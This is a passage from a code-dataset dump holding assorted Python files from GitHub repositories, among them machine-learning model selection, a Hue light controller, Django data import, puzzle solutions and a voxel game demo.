clf.best_params_\n\n\ndef rf_hyperparameter_search(x_train, y_train):\n    parameters = {\n        'bootstrap': [True, False],\n        'max_depth': [30, 40, 50, 60, 70, 80, 90, 100, None],\n        'max_features': ['auto', 'sqrt'],\n        'min_samples_leaf': [1, 2, 3],\n        'min_samples_split': [2, 3, 6],\n        'n_estimators': [10, 500, 1000, 1500, 2000]\n    }\n\n    clf = GridSearchCV(RandomForestClassifier(), parameters, cv=10, n_jobs=-1)\n    clf.fit(x_train, y_train)\n    clf.score(x_train, y_train)\n\n    print('Accuracy: ' + str(clf.best_score_))\n    print('Best parameters: ' + str(clf.best_params_))\n    return clf.best_params_\n\n\ndef linear_hyperparameter_Search(x_train, y_train):\n    parameters = {\n        'C': [0.001, 0.01, 0.1, 1, 10, 100],\n        'penalty': ['l1', 'l2']\n    }\n\n    clf = GridSearchCV(LogisticRegression(), parameters, cv=10, n_jobs=-1)\n    clf.fit(x_train, y_train)\n    clf.score(x_train, y_train)\n\n    print('Accuracy: ' + str(clf.best_score_))\n    print('Best parameters: ' + str(clf.best_params_))\n    return clf.best_params_\n\n\ndef main():\n    # split into train and test data\n    x_train, y_train, x_test, y_test = process_data()\n    union_path = data_dir + 'unionall'\n    atleast2_path = data_dir + 'atleast2'\n    union_all = set(np.loadtxt(union_path, dtype= str))\n    intersection_2 = set(np.loadtxt(atleast2_path, dtype= str))\n    x_train_union = x_train.loc[:, union_all]\n    x_train_intersection = x_train.loc[:, intersection_2]\n\n    # GBM Model selection\n    # print('GBM Union Set')\n    # gbm_hyperparameter_search(x_train_union, y_train)\n    # print('GBM Intersection Set')\n    # gbm_hyperparameter_search(x_train_intersection, y_train)\n    print(cross_val_score(GradientBoostingClassifier(loss='deviance', subsample=0.6, learning_rate=0.15,\n                                                     min_samples_leaf=3, n_estimators=50, min_samples_split=3,\n                                                     max_features='log2', max_depth=3), x_train_union, y_train, cv=10).mean())\n\n    print(cross_val_score(GradientBoostingClassifier(loss='deviance', subsample=0.7, learning_rate=0.05,\n                                                     min_samples_leaf=1, n_estimators=60, min_samples_split=3,\n                                                     max_features='sqrt', max_depth=5), x_train_intersection, y_train, cv=10).mean())\n\n    # rf Model selection\n    print('RF Union Set')\n    rf_hyperparameter_search(x_train_union, y_train)\n    print('RF Intersection Set')\n    rf_hyperparameter_search(x_train_intersection, y_train)\n\n    # GBM Model selection\n    print('Linear Union Set')\n    linear_hyperparameter_Search(x_train_union, y_train)\n    print('Linear Intersection Set')\n    linear_hyperparameter_Search(x_train_intersection, y_train)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"neutron101/cs229Project","sub_path":"src/model_selection_ksamuelg.py","file_name":"model_selection_ksamuelg.py","file_ext":"py","file_size_in_byte":5132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6151816274","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n@author: jiankaiwang\n@usage:\n    python set_training_configuration.py \\\n        --you_own True \\\n        --label_map /notebooks/object_detection/data/label_map.pbtxt \\\n        --pipeline /notebooks/object_detection/ssd_mobilenet_v1_coco_2018_01_28_docker/pipeline.config \\\n        --pipelineoutput /notebooks/object_detection/data/pipeline.config \\\n\"\"\"\n\n# In[]\n\nimport argparse\nimport os\nimport sys\nsys.path.append(\"/notebooks/models/research\")\n\nimport tensorflow as tf\n\nfrom google.protobuf import text_format\nfrom object_detection.utils import config_util\nimport parser\n\n# In[]\n\ndef set_num_class(LMAP_PATH, PIPE_PATH, OUTPUT_PATH):\n    number, err = parser.getClassNumber(PIPE_PATH)\n    \n    if not err:\n        try:\n            data = parser.getNumberClassInLabelMap(LMAP_PATH)\n        except Exception as e:\n            raise Exception(str(e))\n            return \"Parsing the label file is error.\", True\n    else:\n        return \"Parsing the config file is error.\", True\n    \n    content, err = parser.getConfigFromPipeline(PIPE_PATH)\n    if number != len(data):\n        if err: return \"Parsing the configuration file is error.\", True\n        content[\"model\"].ssd.num_classes = len(data)\n    \n    return content, False\n\n# In[]\n\ndef write_new_config(config, OUTPUT_PATH):\n    \"\"\"\n    description: \n    input:\n        config: a dict-based config\n    \"\"\"\n    try:\n        pipeline_config_msg = config_util.create_pipeline_proto_from_configs(config)    \n        pipeline_config_final = text_format.MessageToString(pipeline_config_msg)\n        with tf.gfile.Open(OUTPUT_PATH, \"wb\") as f:\n            f.write(pipeline_config_final)\n        return None, False\n    except Exception as e:\n        return str(e), True\n\n# In[]\n\nif __name__ == \"__main__\":\n    \n    pas = argparse.ArgumentParser()\n\n    pas.add_argument('--you_own', type=str, default=\"False\", help='use your own data')\n    pas.add_argument('--label_map', type=str, default=\"\", help='label map path')\n    pas.add_argument('--pipeline', type=str, default=\"\", help='pipe template path')\n    pas.add_argument('--pipelineoutput', type=str, default=\"\", help='pipe output path')\n\n    args = pas.parse_args()\n    \n    if str(args.you_own) == \"True\":\n        LMAP_PATH = args.label_map\n        PIPE_PATH = args.pipeline\n        OUTPUT_PATH = args.pipelineoutput\n    else:\n        model_path = \"/notebooks/object_detection\"\n        LMAP_PATH = os.path.join(model_path, \"data\", \"label_map.pbtxt\")\n        PIPE_PATH = os.path.join(model_path, \"ssd_mobilenet_v1_coco_2018_01_28_docker\", \"pipeline.config\")\n        OUTPUT_PATH = os.path.join(model_path, \"data\", \"pipeline.config\")\n    \n    assert os.path.exists(LMAP_PATH), \"Label map file is not found.\"\n    assert os.path.exists(PIPE_PATH), \"Pipeline template file is not found.\"\n\n    content, err = set_num_class(LMAP_PATH, PIPE_PATH, OUTPUT_PATH)\n    if err: print(content)\n    msg, err = write_new_config(content, OUTPUT_PATH)\n    if err: print(msg)\n    sys.exit(err)\n    \n\n","repo_name":"qpjkw/tfod_ces2019","sub_path":"object_detection/helpers/set_training_configuration.py","file_name":"set_training_configuration.py","file_ext":"py","file_size_in_byte":3025,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"5897366489","text":"import colorsys\nimport json\n\nimport requests\n\nfrom SentimentCore.core.observer import Observer\nfrom SentimentCore.util.color_space_utils import red_white_green\nfrom SentimentCore.util.rgb_xy_converter import Converter\n\n\nclass LightConsumer(Observer):\n\n    def __init__(self):\n        self._token = \"U5n6uDzCWE0dyMGOU3auhvRKS7WaxCYiWHeMIAxx\"\n        self._light_ids = [(1, 30), (2, 100)]\n        self._converter = Converter()\n\n    def update(self, tuple):\n        sentence, emotional_score, _, start, end = tuple\n        r, g, b = red_white_green(emotional_score)\n        xy = self._converter.rgb_to_xy(r, g, b)\n        state = True\n\n        for light_id, brightness in self._light_ids:\n            URL = \"http://192.168.1.2/api/{}/lights/{}/state\".format(self._token, light_id)\n            BODY = {\"on\": state, \"xy\": xy, \"bri\": brightness, \"transitiontime\": 15}\n            BODY = json.dumps(BODY)\n\n            requests.put(url=URL, data=BODY)\n\n","repo_name":"infiniteam-lh19/SentimentCore","sub_path":"SentimentCore/consumer/light_consumer.py","file_name":"light_consumer.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"30816332123","text":"import torch.utils.data as data\nimport numpy as np\nimport pickle\nimport os\nimport dgl\nimport torch\n\n\nclass BaseDataset(data.Dataset):\n\n    def __init__(self, opt):\n        self.opt = opt\n        self.mean = 0\n        self.std = 1\n        super(BaseDataset, self).__init__()\n\n    def get_canoncial_etypes(self):\n        for _, _, file_names in sorted(os.walk(self.dir)):\n            for i in range(1):\n                g_sample_name = file_names[i]\n        g_sample_path = os.path.join(self.dir, g_sample_name)\n        g_sample, _ = dgl.load_graphs(g_sample_path)\n        g_sample = g_sample[0]\n        return g_sample.canonical_etypes\n\n    def get_mean_std(self):\n        \"\"\" Computes Mean and Standard Deviation from Training Data\n        If mean/std file doesn't exist, will compute one\n        :returns\n        mean: N-dimensional mean\n        std: N-dimensional standard deviation\n        \"\"\"\n\n        mean_std_cache = os.path.join(self.root, 'mean_std_cache.p')\n        if not os.path.isfile(mean_std_cache):\n            print('computing mean std from train data...')\n\n            # read the first graph to get the dimensions\n            # _, _, g_samples = sorted(os.walk(self.dir))\n            for _, _, file_names in sorted(os.walk(self.dir)):\n                for i in range(1):\n                    g_sample_name = file_names[i]\n            g_sample_path = os.path.join(self.dir, g_sample_name)\n            g_sample, _ = dgl.load_graphs(g_sample_path)\n            g_sample = g_sample[0]\n            node_feat_len = g_sample.ndata['geometric_feat']['node'].shape[1]\n            edge_feat_len = g_sample.ndata['geometric_feat']['edge'].shape[1]\n            face_feat_len = g_sample.ndata['geometric_feat']['face'].shape[1]\n            mean_node_feat, std_node_feat = torch.zeros((node_feat_len)), torch.zeros((node_feat_len))\n            mean_edge_feat, std_edge_feat = torch.zeros((edge_feat_len)), torch.zeros((edge_feat_len))\n            mean_face_feat, std_face_feat = torch.zeros((face_feat_len)), torch.zeros((face_feat_len))\n            count = 0\n            for root, _, fnames in sorted(os.walk(self.dir)):\n                for fname in fnames:\n                    # if int(fname.split('_')[-3]) == 0:\n                    fpath = os.path.join(self.dir, fname)\n                    g_list, label_dict = dgl.load_graphs(fpath)\n                    g = g_list[0]\n\n                    # node features\n                    node_feat_mean_single_graph = g.ndata['geometric_feat']['node'].mean(axis=0)\n                    node_feat_std_single_graph = g.ndata['geometric_feat']['node'].std(axis=0)\n                    mean_node_feat = mean_node_feat + node_feat_mean_single_graph\n                    std_node_feat = std_node_feat + node_feat_std_single_graph\n\n                    # edge features\n                    edge_feat_mean_single_graph = g.ndata['geometric_feat']['edge'].mean(axis=0)\n                    edge_feat_std_single_graph = g.ndata['geometric_feat']['edge'].std(axis=0)\n                    mean_edge_feat = mean_edge_feat + edge_feat_mean_single_graph\n                    std_edge_feat = std_edge_feat + edge_feat_std_single_graph\n\n                    # face_features\n                    face_feat_mean_single_graph = g.ndata['geometric_feat']['face'].mean(axis=0)\n                    face_feat_std_single_graph = g.ndata['geometric_feat']['face'].std(axis=0)\n                    mean_face_feat = mean_face_feat + face_feat_mean_single_graph\n                    std_face_feat = std_face_feat + face_feat_std_single_graph\n                    count = count + 1\n\n            mean_node_feat = mean_node_feat / count\n            std_node_feat = std_node_feat / count\n            mean_edge_feat = mean_edge_feat / count\n            std_edge_feat = std_edge_feat / count\n            mean_face_feat = mean_face_feat / count\n            std_face_feat = std_face_feat / count\n            transform_dict = {\n                'mean_node_feat': mean_node_feat,\n                'std_node_feat': std_node_feat,\n                'node_feat_len': node_feat_len,\n                'mean_edge_feat': mean_edge_feat,\n                'std_edge_feat': std_edge_feat,\n                'edge_feat_len': edge_feat_len,\n                'mean_face_feat': mean_face_feat,\n                'std_face_feat': std_face_feat,\n                'face_feat_len': face_feat_len\n            }\n            with open(mean_std_cache, 'wb') as f:\n                pickle.dump(transform_dict, f)\n            print('saved: ', mean_std_cache)\n\n        # open mean/std from file\n        with open(mean_std_cache, 'rb') as f:\n            transform_dict = pickle.load(f)\n            print('loaded mean / std from cache')\n            self.mean_node_feat = transform_dict['mean_node_feat']\n            self.std_node_feat = transform_dict['std_node_feat']\n            self.node_feat_len = transform_dict['node_feat_len']\n            self.mean_edge_feat = transform_dict['mean_edge_feat']\n            self.std_edge_feat = transform_dict['std_edge_feat']\n            self.edge_feat_len = transform_dict['edge_feat_len']\n            self.mean_face_feat = transform_dict['mean_face_feat']\n            self.std_face_feat = transform_dict['std_face_feat']\n            self.face_feat_len = transform_dict['face_feat_len']\n\n\ndef collate_fn(samples):\n    # paths, graphs, labels = map(list, zip(*samples))\n    graphs, labels = map(list, zip(*samples))\n    meta_labels = {}\n    keys = labels[0].keys()\n    batched_graph = dgl.batch(graphs)\n    for key in keys:\n        meta_labels.update({key: torch.cat([label[key] for label in labels])})\n    return batched_graph, meta_labels\n\n\ndef collate_fn_2(samples):\n    paths, graphs, labels = map(list, zip(*samples))\n    meta_labels = {}\n    keys = labels[0].keys()\n    batched_graph = dgl.batch(graphs)\n    for key in keys:\n        meta_labels.update({key: torch.cat([label[key] for label in labels])})\n    return paths, batched_graph, meta_labels","repo_name":"BSResearch/hynet","sub_path":"data/base_dataset.py","file_name":"base_dataset.py","file_ext":"py","file_size_in_byte":5942,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"16818051018","text":"import re\nimport sys\nfrom pathlib import Path\nfrom hashlib import md5 as hashlib_md5\n\nsys.path.append(str(Path(__file__).resolve().parents[1]))\nfrom utils.utils import *\n\nFILE = \"input/day14.txt\"\n\n\ndef main():\n    pt1()\n    pt2()\n\n\ndef pt1():\n    # Test\n    test(task1(\"abc\"), 22728)\n\n    # Solution\n    input = read_file(FILE)[0]\n    print(f\"Task 1 solution: {task1(input)}\")\n\n\ndef pt2():\n    # Test\n    test(task2(\"abc\"), 22551)\n\n    # Solution\n    input = read_file(FILE)[0]\n    print(f\"Task 2 solution: {task2(input)}\")\n\n\n#########################################################\n\n\ndef task1(input):\n    idx = 0\n    answers = []\n    cache = {}\n    while len(answers) < 64:\n        hash = cache[idx] if cache.get(idx) else md5(f\"{input}{idx}\")\n        has_triplet = contains_triplet(hash)\n\n        if has_triplet != None:\n            for x in range(1, 1000):\n                next = cache[idx + x] if cache.get(idx + x) else md5(f\"{input}{idx+x}\")\n                cache[idx + x] = next\n                if contains_fifthlet_with(next, has_triplet):\n                    answers.append(idx)\n                    break\n        idx += 1\n    return answers[63]\n\n\ndef task2(input):\n    idx = 0\n    answers = []\n    cache = {}\n    while len(answers) < 64:\n        hash = strech(f\"{input}{idx}\", cache)\n        has_triplet = contains_triplet(hash)\n\n        if has_triplet != None:\n            for x in range(1, 1001):\n                next = strech(f\"{input}{idx+x}\", cache)\n                if contains_fifthlet_with(next, has_triplet):\n                    answers.append(idx)\n                    break\n        idx += 1\n    return answers[63]\n\n\ndef md5(input):\n    md5_hash = hashlib_md5()\n    md5_hash.update(input.encode(\"utf-8\"))\n    return md5_hash.hexdigest()\n\n\nregex = re.compile(r\"(.)\\1{2}\")\n\n\ndef contains_triplet(input):\n    found = regex.search(input)\n    if not found:\n        return None\n    return found.group(0)[0]\n\n\ndef contains_fifthlet_with(input: str, withh):\n    return (withh * 5) in input\n\n\ndef strech(input, cache={}):\n    if cache.get(input):\n        return cache[input]\n    hash = input\n    for _ in range(2017):\n        hash = md5(hash)\n\n    cache[input] = hash\n    return hash\n\n\nif __name__ == \"__main__\":\n    # benchmark(main)\n    main()\n","repo_name":"GitDevla/AoC","sub_path":"2016/day14/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70865520190","text":"import os\r\nimport re\r\nimport shutil\r\n\r\nfrom utils.helpers import use_dotenv, await_char, output_msg\r\nimport utils.prompts as pr\r\n\r\nuse_dotenv()\r\n\r\n\r\ndef archive_reports(server=False):\r\n    output = \"\"\r\n\r\n    report_directory = os.environ[\"EDM_DRV\"]\r\n\r\n    data_directory = os.path.join(report_directory, \"rtd_data\")\r\n    archive_directory = os.path.join(report_directory, \"ARCHIVE-PLANNING_PLAUSE\")\r\n\r\n    # print(data_directory)\r\n    # print(archive_directory)\r\n\r\n    # archive data folder with rtd reports\r\n    if os.path.isdir(data_directory):\r\n        output += output_msg(f\"{pr.info}Archiving...\")\r\n        for filename in os.listdir(data_directory):\r\n            f = os.path.join(data_directory, filename)\r\n            if os.path.isfile(f):\r\n                shutil.move(f, archive_directory)\r\n\r\n    # remove tmp dirs: data, input\r\n    if os.path.isdir(report_directory):\r\n        shutil.rmtree(data_directory)\r\n\r\n    # find and remove output dir\r\n    for filename in os.listdir(report_directory):\r\n        match = re.search(r\"^\\d{2}\\-\\d{2}\\-\\d{4}\", filename)\r\n        if match:\r\n            if os.path.isdir(os.path.join(report_directory, filename)):\r\n                shutil.rmtree(os.path.join(report_directory, filename))\r\n    output += output_msg(f\"{pr.done}Complete\")\r\n\r\n    if server:\r\n        return output, \"Archive RTD reports\"\r\n    else:\r\n        await_char(\"y\", \"Completed. Press Y to continue.\")\r\n","repo_name":"zakrzaq/RA-LT-Sync","sub_path":"scripts/rtd_reports/archive_reports.py","file_name":"archive_reports.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7849281594","text":"#!/usr/bin/env python3\n\"\"\"\nProblem:\nA palindromic number reads the same both ways. The largest\npalindrome made from the product of two 2-digit numbers is 9009 = 91 × 99.\n\nFind the largest palindrome made from the product of two 3-digit numbers.\n\"\"\"\n\n\"\"\"\nSolution Reasoning:\n\n998001 is 999*999, so the largest possible number that this palindrome could\ntheoritically be. Then we check each number to see first if it is a palindrome.\nOnce we are done with that, we can check if there are two 3 digit factors.\n\"\"\"\n\nimport math\n\n\ndef find_largest_palindrome():\n    current_check = 998001\n    while True:\n        if is_palindrome(current_check):\n            if is_double_three_digit_multiple(current_check):\n                return current_check\n        current_check-=1\n\ndef is_palindrome(number):\n    str = '%s' % number\n    number_length = len(str)\n    for i in range(0, math.floor(number_length/2)):\n        if str[i] != str[len(str)-1-i]:\n            return False\n    return True\n\n\ndef is_double_three_digit_multiple(number):\n    for current in range(100, math.floor(math.sqrt(number))):\n        if number%current==0:\n            if len('%s' % (number//current))==3:\n                print(number, current, number//current)\n                return True\n    return False\n\nfind_largest_palindrome()\n","repo_name":"cmediratta/project-euler","sub_path":"solutions/problem_004/solution4.py","file_name":"solution4.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22552732823","text":"import csv\nimport os\n\nfrom django.core.management.base import BaseCommand\n\nfrom academica.models import Plan\nfrom curso.models import Periodo\nfrom persona.models import Persona, Estudiante, EstadoEstudiante\nfrom matricula.models import (\n    ProcesoMatricula, GratuidadEstudiante, InhabilitantesMatricula,\n)\n\n\nclass Command(BaseCommand):\n    help = '''Importa los archivos de estudiantes antiguos para el proceso de matrícula'''\n\n    def add_arguments(self, parser):\n        parser.add_argument('carpeta_archivos', type=str)\n        parser.add_argument('-log-level', type=str, choices=range(2), default=1)\n\n    def handle(self, *args, **options):\n        importar_estudiantes_antiguos(options['carpeta_archivos'], log_level=options['log_level'])\n        return\n\n\ndef importar_estudiantes_antiguos(carpeta: str, log_level=1):\n    # buscar archivos\n    for archivo in os.listdir(carpeta):\n        nombre = archivo.lower()\n        if 'planes_alums' in nombre:\n            path_archivo_estudiantes = os.path.join(carpeta, archivo)\n        if 'finanzas' in nombre:\n            path_archivo_finanzas = os.path.join(carpeta, archivo)\n        if 'biblioteca' in nombre:\n            path_archivo_biblioteca = os.path.join(carpeta, archivo)\n        if 'gratuidad' in nombre:\n            path_archivo_gratuidad = os.path.join(carpeta, archivo)\n\n    personas_no_encontradas = 0\n    registros_no_encontrados = 0\n    modificados = 0\n    with open(path_archivo_estudiantes, 'r', encoding='utf-8') as archivo_estudiantes:\n        estudiantes = csv.DictReader(archivo_estudiantes, delimiter=';')\n\n        for estudiante in estudiantes:\n            try:\n                rut = estudiante['P_AL_RUT_ALUM']\n                persona = Persona.objects.get(numero_documento=rut)\n                planes = Plan.objects.filter(carrera__id_ucampus=estudiante['P_AL_C_CARRERA'])\n\n                if not planes.exists():\n                    if estudiante['P_AL_LICENCIATURA'] != '0' and log_level >= 2:\n                        print(f\"carrera con id {estudiante['P_AL_C_CARRERA']} no existe\")\n                    continue\n\n                estud = Estudiante.objects.get(persona=persona, plan__in=planes)\n                estado = EstadoEstudiante.objects.get(id_ucampus=estudiante['P_AL_E_PLAN_ALUM'])\n\n                if estud.estado_estudiante != estado:\n                    if log_level >= 1:\n                        print(\n                            f'cambio de estado {persona.numero_documento}: '\n                            f'{estud.estado_estudiante} -> {estado}'\n                        )\n\n                    estud.estado_estudiante = estado\n                    estud.save()\n                    modificados += 1\n\n                if estudiante['P_AL_SEME_FIN'] != 'NULL' and not estud.periodo_egreso:\n                    periodo = Periodo.objects.get(\n                        ano=estudiante['P_AL_SEME_FIN'][:-1],\n                        numero=estudiante['P_AL_SEME_FIN'][-1],\n                    )\n                    estud.periodo_egreso = periodo\n                    estud.save()\n\n                    if log_level >= 1:\n                        print(f\"agrega semestre fin: {estudiante['P_AL_SEME_FIN']}\")\n\n            except Persona.DoesNotExist:\n                personas_no_encontradas += 1\n                if log_level >= 2:\n                    print(f\"persona con rut {rut} no existe\")\n\n            except Estudiante.DoesNotExist:\n                registros_no_encontrados += 1\n                if log_level >= 2:\n                    print(f\"estudiante {persona}-{planes.first().carrera} no existe\")\n\n            except EstadoEstudiante.DoesNotExist:\n                if log_level >= 1:\n                    print(f\"estado con id {estudiante['P_AL_C_CARRERA']} no existe\")\n\n    print('\\narchivo estudiantes listo')\n    print(f'{modificados} estudiantes actualizados')\n    print(f'{personas_no_encontradas} personas no encontradas')\n    print(f'{registros_no_encontrados} estudiantes no encontrados')\n\n    # crear gratuidad estudiante e inhabilitantes estudiantes\n    proceso_matricula = ProcesoMatricula.objects.get(activo=True)\n    estudiantes_antiguos = Estudiante.objects.exclude(\n        periodo_ingreso=proceso_matricula.periodo_ingreso,\n    ).filter(\n        estado_estudiante_id__in=[4, 1],  # regular o congelado\n    )\n    modificados = 0\n\n    for estudiante_antiguo in estudiantes_antiguos:\n        InhabilitantesMatricula.objects.update_or_create(\n            estudiante=estudiante_antiguo,\n            proceso_matricula=proceso_matricula,\n            defaults={\n                'tiene_deuda_finanzas': False,\n                'comentario_finanzas': '',\n                'tiene_deuda_biblioteca': False,\n                'comentario_biblioteca': '',\n            }\n        )\n        GratuidadEstudiante.objects.update_or_create(\n            estudiante=estudiante_antiguo,\n            proceso_matricula=proceso_matricula,\n            defaults={'tiene_gratuidad': False}\n        )\n        modificados += 1\n\n    print(f'\\ninhabilitantes y gratuidad creados para {modificados} estudiantes antiguos\\n')\n\n    # cargar deudas biblioteca\n    modificados = 0\n    personas_no_encontradas = 0\n    with open(path_archivo_biblioteca, 'r', encoding='utf-8') as archivo_biblioteca:\n        deudas_biblioteca = csv.DictReader(archivo_biblioteca, delimiter=',')\n\n        for fila in deudas_biblioteca:\n            try:\n                # obtener inhabilitantes de la persona\n                rut = fila['Rut'][:-1]\n                persona = Persona.objects.get(numero_documento=rut)\n                inhabilitantes = InhabilitantesMatricula.objects.filter(\n                    proceso_matricula=proceso_matricula,\n                    estudiante__persona=persona,\n                )\n                modificados += 1\n\n                # actualizar comentario\n                for inhabilitante in inhabilitantes:\n\n                    inhabilitante.tiene_deuda_biblioteca = True\n                    inhabilitante.comentario_biblioteca += (\n                        f'Debe {fila[\"Titulo\"]}. '\n                    )\n                    inhabilitante.save()\n\n            except Persona.DoesNotExist:\n                personas_no_encontradas += 1\n                if log_level >= 1:\n                    print(f'persona con rut {rut} no existe')\n\n    print('archivo biblioteca listo')\n    print(f'{modificados} deudas registradas')\n    print(f'{personas_no_encontradas} personas no encontradas\\n')\n\n    # cargar deudas finanzas\n    modificados = 0\n    personas_no_encontradas = 0\n    with open(path_archivo_finanzas, 'r', encoding='utf-8') as archivo_finanzas:\n        deudas_finanzas = csv.DictReader(archivo_finanzas, delimiter=',')\n\n        for fila in deudas_finanzas:\n            try:\n                # obtener inhabilitantes de la persona\n                rut = fila['DOCUMENTO']\n                persona = Persona.objects.get(numero_documento=rut)\n                inhabilitantes = InhabilitantesMatricula.objects.filter(\n                    proceso_matricula=proceso_matricula,\n                    estudiante__persona=persona,\n                )\n                modificados += 1\n\n                # actualizar comentario\n                for inhabilitante in inhabilitantes:\n\n                    inhabilitante.tiene_deuda_finanzas = True\n                    # inhabilitante.comentario_finanzas += (\n                    #     f'Debe {fila[\"Saldo 2022\"]} por la carrera {fila[\"PLAN\"]}. '\n                    # )\n                    inhabilitante.save()\n\n            except Persona.DoesNotExist:\n                personas_no_encontradas += 1\n                if log_level >= 1:\n                    print(f'persona con rut {rut} no existe')\n\n    print('archivo finanzas listo')\n    print(f'{modificados} deudas registradas')\n    print(f'{personas_no_encontradas} personas no encontradas\\n')\n\n    # cargar gratuidad\n    modificados = 0\n    personas_no_encontradas = 0\n    registros_no_encontrados = 0\n    with open(path_archivo_gratuidad, 'r', encoding='utf-8') as archivo_biblioteca:\n        gratuidad_estudiantes = csv.DictReader(archivo_biblioteca, delimiter=';')\n\n        for fila in gratuidad_estudiantes:\n            try:\n                # obtener gratuidad de la persona\n                rut = fila['numero_documento']\n                persona = Persona.objects.get(numero_documento=rut)\n                gratuidades = GratuidadEstudiante.objects.filter(\n                    proceso_matricula=proceso_matricula,\n                    estudiante__persona=persona,\n                )\n\n                if not gratuidades.exists():\n                    estado = Estudiante.objects.filter(persona=persona).first().estado_estudiante\n\n                    if estado.id in [1, 4]:  # estudiante regular o postergado sin registro\n                        registros_no_encontrados += 1\n                        if log_level >= 1:\n                            print(f'no se ha encontrado un registro para el rut {rut}')\n\n                # actualizar gratuidad\n                if fila['GRATUIDAD'] == '1':\n                    for gratuidad in gratuidades:\n                        gratuidad.tiene_gratuidad = True\n                        gratuidad.save()\n                        modificados += 1\n\n            except Persona.DoesNotExist:\n                personas_no_encontradas += 1\n                if log_level >= 1:\n                    print(f'persona con rut {rut} no existe')\n\n    print('archivo gratuidad listo')\n    print(f'{modificados} gratuidades actualizadas')\n    print(f'{personas_no_encontradas} personas no encontradas')\n    print(f'{registros_no_encontrados} registros no encontrados')\n    return\n","repo_name":"cvargas91/sga","sub_path":"matricula/management/commands/importar_estudiantes_antiguos.py","file_name":"importar_estudiantes_antiguos.py","file_ext":"py","file_size_in_byte":9644,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74459974590","text":"import boto3\nimport json\n\nclient = boto3.client('dynamodb')\n\ndef lambda_handler(event, context):\n    # Ensure that the lambda function can be called using a GET method from an API gateway, as well as directly:\n    if 'customer_id' not in event:\n        event = event['queryStringParameters']\n        \n    customer_id = event['customer_id']\n\n    # Find out what the existing basket content is:\n    response = client.get_item(\n        TableName='Basket',\n        Key={'customer_id':{'S':customer_id}}\n        )\n\n    if 'Item' in response: # There is already a basket for the user:\n        item = response['Item']\n        content = item['content']['M']\n    else: # Otherwise, display an empty basket:\n        content = {}\n\n    # Compress the DyndamoDB entries from \"N\":val to just val:\n    for k, v in content.items():\n        content[k] = v['N']\n\n    response = {\n        \"statusCode\": 200,\n        \"body\": json.dumps(content)\n    }\n    \n    return response\n","repo_name":"LasseD/SampleBasketService","sub_path":"python/ListBasket.py","file_name":"ListBasket.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"24090237295","text":"import unittest \nfrom LinkedList import LinkedList, Node\n\ndef kthFromlast(linkedList, k):\n    sizeList = linkedList.size()\n    count = 0\n    stop = sizeList - k\n    start = linkedList.head\n    while count != stop: \n        start = start.next_node\n        count += 1\n    return start.data\n\nclass TestKthFromlast(unittest.TestCase): \n    test_cases = [(LinkedList(Node(1, Node(2, Node(3, Node(4))))), 2, 3)]\n    def test_kth_from_last(self): \n        for linkList, k, exptected in self.test_cases: \n            result = kthFromlast(linkList, k)\n            self.assertEqual(result, exptected, f\"Error at {linkList} got {result} instead of {exptected}\")\nunittest.main()","repo_name":"nikkivbenz/Interview-Prep","sub_path":"CTCI/LinkedListCh2/kthFromLast2.py","file_name":"kthFromLast2.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2521626377","text":"# Problem Id:  692\n# Problem Name:  Top K Frequent Words, 前K个高频单词\n# Problem Url:  https://leetcode-cn.com/problems/top-k-frequent-words/\n# Problem Level:  Medium\n# Language:  Python3\n \nclass Solution:\n    def topKFrequent(self, words: List[str], k: int) -> List[str]:\n        d = {}\n        for i in words:\n            d[i] = d.get(i,0) + 1\n        res = list(d.items())\n        res.sort(key=lambda x:(-x[1],x[0]),reverse=False)\n        return [i[0] for i in res[:k]]\n        ","repo_name":"siru-xiong/leetcode-solutions","sub_path":"solutions/0692-前K个高频单词.py","file_name":"0692-前K个高频单词.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"14516158923","text":"#ursina\n#perlin_noise\n\nfrom ursina import *\nfrom ursina.prefabs.first_person_controller import FirstPersonController\n\njogo = Ursina()\nplayer = FirstPersonController(mouse_sensitivity=Vec2(100,100), position=(5, 8, 0))\n\"\"\"chao = Entity(\n    model=\"plane\",\n    scale=(100,1,100),\n    texture=\"grass\",\n    texture_scale=(10,10),\n    collider=\"box\"\n)\"\"\"\nbloquinhoDaMao = Entity(\n    parent=camera,\n    model=\"cube\",\n    color=color.white,\n    scale=0.2,\n    position=(0.35, -0.25, 0.5),\n    texture_scale=(10,10),\n    rotation=(-15, -30, -5)\n)\n\nboxes = []\nfor i in range(20):\n  for z in range(2):\n    for j in range(20):\n        box = Button(color=color.white, model=\"cube\", position=(j,z,i), texture=\"grass\", parent=scene, origin_y=0.5)\n        boxes.append(box)\n\ndef input(key):\n  for box in boxes:\n    if box.hovered:\n      if key == \"right mouse down\":\n        new = Button(color=color.white, model=\"cube\", position=box.position + mouse.normal, parent=scene, origin_y=0.5)\n        boxes.append(new)\n      if key == \"left mouse down\":\n        boxes.remove(box)\n        